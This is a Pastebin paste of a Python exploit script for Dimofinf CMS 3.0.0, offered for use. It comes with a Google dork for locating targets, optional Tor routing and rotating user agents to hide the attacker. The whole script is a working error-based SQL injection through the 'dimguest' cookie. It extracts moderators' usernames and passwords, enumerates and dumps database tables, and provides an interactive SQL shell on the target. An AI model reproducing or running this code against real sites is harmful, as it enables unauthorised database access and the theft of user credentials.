zepek_al

[UPDATED]Dimofinf CMS Auto Cookie SQLi exploit by Zepek

Nov 9th, 2017
299
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.94 KB | None | 0 0
  1. # Dimofinf CMS Automatic Cookie SQL Injection exploit
  2. # Google Dork: intext:"Powered by Zepek"
  3. # Date: 19/11/2015
  4. # Author: Zepek
  5. # Software link: http://www.dimofinf.net
  6. # Version: 3.0.0
  7. # Tested on: Dimofinf version 3.0.0
  8. # Sometimes it happens that the vulnerability allow you to get moderators' username and password but not the list of tables and columns
  9. # or viceversa; So if one of them does not work, you could try the other one anyway.
  10.  
  11. #!/usr/bin/python
  12. import socks
  13. import socket
  14. import requests
  15. import sys,os,time
  16. from random import randint
  17.  
  18. check = "Duplicate entry '"
  19. tor_addr = "127.0.0.1"
  20. tor_port = 9150
  21. agents = ["Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0","Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36",
  22.           "IBM WebExplorer /v0.94","Mozilla/5.0 (Windows; U; Windows NT 6.1; x64; fr; rv:1.9.2.13) Gecko/20101203 Firebird/3.6.13",
  23.           "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A"]
  24. rand = randint(0,9)
  25. url = ""
  26. headers = {'User-Agent':agents[rand%len(agents)]}
  27.  
  28. def removeDot(s):
  29.     return s[1:]
  30.  
  31. def extract(out):
  32.     start = 0
  33.     for x in range(0,len(out)-len(check)):
  34.         beset = True
  35.         for k in range(0,17):
  36.             if(out[x+k] != check[k]):
  37.                 beset = False
  38.         if(beset):
  39.             start = x+17
  40.             break
  41.     got = ""
  42.     for x in range(start,len(out)):
  43.         if(out[x] == '~'):
  44.             break
  45.         got += out[x]
  46.     return got
  47.  
  48. def req(cookies):
  49.     global headers
  50.     r = requests.get(url,cookies=cookie,headers=headers)
  51.     out = r.text
  52.     return out
  53.  
  54. print "\n-----------------------------------------------------------"
  55. print "Dimofinf CMS v3.0.0 Automatic Cookie SQL Injection exploit"
  56. print "Author: live:zepek_al"
  57. print "-----------------------------------------------------------"
  58.  
  59. url = raw_input("\nEnter URL -> ")
  60. if("http" not in url):
  61.     url = "http://%s" %url
  62. tor = raw_input("Do you want to use TOR? (y/n) ")
  63.  
  64. if(tor == "y" or tor == "Y" or tor == "yes"):
  65.     try:
  66.         socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, tor_addr, tor_port)
  67.         socket.socket = socks.socksocket
  68.     except requests.ConnectionError as e:
  69.         print "[ERROR] Could not connect to TOR"
  70.         sys.exit(1)
  71.  
  72. session = requests.Session()
  73. response = session.get(url)
  74. s = str(session.cookies.get_dict())
  75.  
  76. if("dimguest" in s):
  77.     i = 0
  78.     print "\n[+] 'dimguest' cookie found. Checking exploitability.."
  79.     cookie = {'dimguest':'1\''}
  80.     r = requests.get(url,cookies=cookie,headers=headers)
  81.  
  82.     choice = "nope"
  83.     if("Database Error" in r.text and "Invalid SQL" in r.text and "You have an error in your SQL" in r.text):
  84.         print "[+] Target seems to be exploitable (SQL error found)."
  85.         cookie = {'dimguest':'1\' and (select 1 from (select count(*),concat(0x3a,(select user()),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)x)#'}
  86.         out = req(cookie)
  87.         current = extract(out)
  88.  
  89.         if(len(current) < 70):
  90.             print "[+] Current User: %s" %(removeDot(current))
  91.         else:
  92.             print "[+] Current User: ?"
  93.  
  94.         print "\n----------------------------------------"
  95.         print " 1) Get moderators' usernames:passwords"
  96.         print " 2) Browse DB (wizard)"
  97.         print " 3) SQL shell (difficult)"
  98.         print "----------------------------------------"
  99.         choice = raw_input(" -> ")
  100.         print ""
  101.  
  102.         if(choice == "1"):
  103.             cookie = {'dimguest':'1\' and (select 1 from (select count(*),concat(0x3a,(select Concat(username,0x3a,password) from moderators limit %s,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)x)#' %i}
  104.             out = req(cookie)
  105.  
  106.             while(check in out):
  107.                 got = extract(out)
  108.  
  109.                 if(len(got) > 0):
  110.                     print "[+] GOT: '%s'" %(removeDot(got))
  111.                 i += 1
  112.                 cookie = {'dimguest':'1\' and (select 1 from (select count(*),concat(0x3a,(select Concat(username,0x3a,password) from moderators limit %s,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)x)#' %i}
  113.                 out = req(cookie)
  114.  
  115.         elif(choice == "2"):
  116.             print "[*] Gathering tables..\n"
  117.            
  118.             cookie = {'dimguest':'1\' and (select 1 from (select count(*),concat(0x3a,(select Concat(table_name) from information_schema.tables where table_schema=database() limit %s,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)x)#' %i}
  119.             out = req(cookie)
  120.  
  121.             while(check in out):
  122.                 got = extract(out)
  123.                 if(len(got) > 0):
  124.                     print "[Table] '%s'" %(removeDot(got))
  125.                 i += 1
  126.                 cookie = {'dimguest':'1\' and (select 1 from (select count(*),concat(0x3a,(select Concat(table_name) from information_schema.tables where table_schema=database() limit %s,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)x)#' %i}
  127.                 out = req(cookie)
  128.  
  129.             if(i == 0):
  130.                 print "[-] Any table found :("
  131.            
  132.             tables = raw_input("\nEnter the tables (separated by ',') of which you want the columns -> ")
  133.             mytables = []
  134.  
  135.             tmp = ""
  136.             for x in range(0,len(tables)):
  137.                 if(tables[x] == ',' or x == len(tables)-1):
  138.                     if(x == len(tables)-1):
  139.                         tmp += tables[x]
  140.                     mytables.append(tmp)
  141.                     tmp = ""
  142.                 else:
  143.                     tmp += tables[x]
  144.  
  145.             for table in mytables:
  146.                 col_check = []
  147.                 k = 0
  148.                 print "\n[+] Columns in '%s':\n" %table
  149.                 cookie = {'dimguest':'1\' and (select 1 from (select count(*),concat(0x3a,(select Concat(column_name) from information_schema.columns where table_name=\'%s\' limit %s,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)x)#' %(table,k)}
  150.                 out = req(cookie)
  151.  
  152.                 while(check in out):
  153.                     got = extract(out)
  154.                     if(got in col_check):
  155.                         break
  156.                     if(len(got) > 0):
  157.                         col_check.append(got)
  158.                         print "  [Column] '%s'" %(removeDot(got))
  159.                     k += 1
  160.                     cookie = {'dimguest':'1\' and (select 1 from (select count(*),concat(0x3a,(select Concat(column_name) from information_schema.columns where table_name=\'%s\' limit %s,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)x)#' %(table,k)}
  161.                     out = req(cookie)
  162.  
  163.             if(k == 0):
  164.                 print "[-] Any column found :("
  165.            
  166.             dump = "nope"
  167.             while(dump != "exit" and dump != "quit"):
  168.                 dump = raw_input("\nEnter the table and columns you want to dump (ex: table_name:column1,column2) -> ")
  169.  
  170.                 if(dump == "exit" or dump == "quit"):
  171.                     break
  172.                 gotTable = False
  173.                 table = ""
  174.                 cols = []
  175.                 col = ""
  176.                 for x in range(0,len(dump)):
  177.                     if(gotTable is False and dump[x] == ':'):
  178.                         gotTable = True
  179.                         x += 1
  180.                     if(gotTable is False):
  181.                         table += dump[x]
  182.                     else:
  183.                         if(dump[x] == ',' or x == len(dump)-1):
  184.                             if(x == len(dump)-1):
  185.                                 col += dump[x]
  186.                             cols.append(col)
  187.                             col = ""
  188.                         else:
  189.                             col += dump[x]
  190.  
  191.                 if(len(cols) > 0):
  192.                     cols[0] = (cols[0])[1:]
  193.                 print cols
  194.  
  195.                 print "\n[*] Dumping..\n"
  196.  
  197.                 query = "1' and (select 1 from (select count(*),concat(0x3a,(select Concat("
  198.                 for colu in cols:
  199.                     query += "%s,0x3a," %colu
  200.                 query = query[:-1]
  201.  
  202.                 z = 0
  203.                 query += ") from %s limit " %table
  204.  
  205.                 while(True):
  206.                     snip = "%s,1),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)x)#" %z
  207.                     z += 1
  208.                     myquery = query+snip
  209.                     cookie = {'dimguest':myquery}  
  210.                     out = req(cookie)
  211.                     if(check not in out):
  212.                         break
  213.                     got = extract(out)
  214.                     print "[Dump]: '%s'" %(removeDot(got))
  215.                 print ""
  216.  
  217.         elif(choice == "3"):
  218.             print "[*] Opening SQL shell..\n"
  219.             time.sleep(0.6)
  220.             cmd = ""
  221.             while(cmd != "exit" and cmd != "quit"):
  222.                 cmd = raw_input("SQL-shell> ")
  223.                 if(cmd == "exit" or cmd == "quit"):
  224.                     break
  225.                 cookie = {'dimguest':'1\' and (%s)#' %cmd}
  226.                 out = req(cookie)
  227.                 got = extract(out)
  228.                 print "qui"
  229.                 print "[+] GOT: '%s'\n" %(removeDot(got))
  230.         else:
  231.             print "[INPUT ERROR] You entered a not valid choice!"
  232.             sys.exit(1)
  233.  
  234.     if(i==0 and choice != "3"):
  235.         print "[-] '%s' not vulnerable, or patched." %url
  236.  
  237. else:
  238.     print "\n[+] Target not vulnerable. (cookie 'dimguest' not found.)"
Advertisement
Add Comment
Please, Sign In to add comment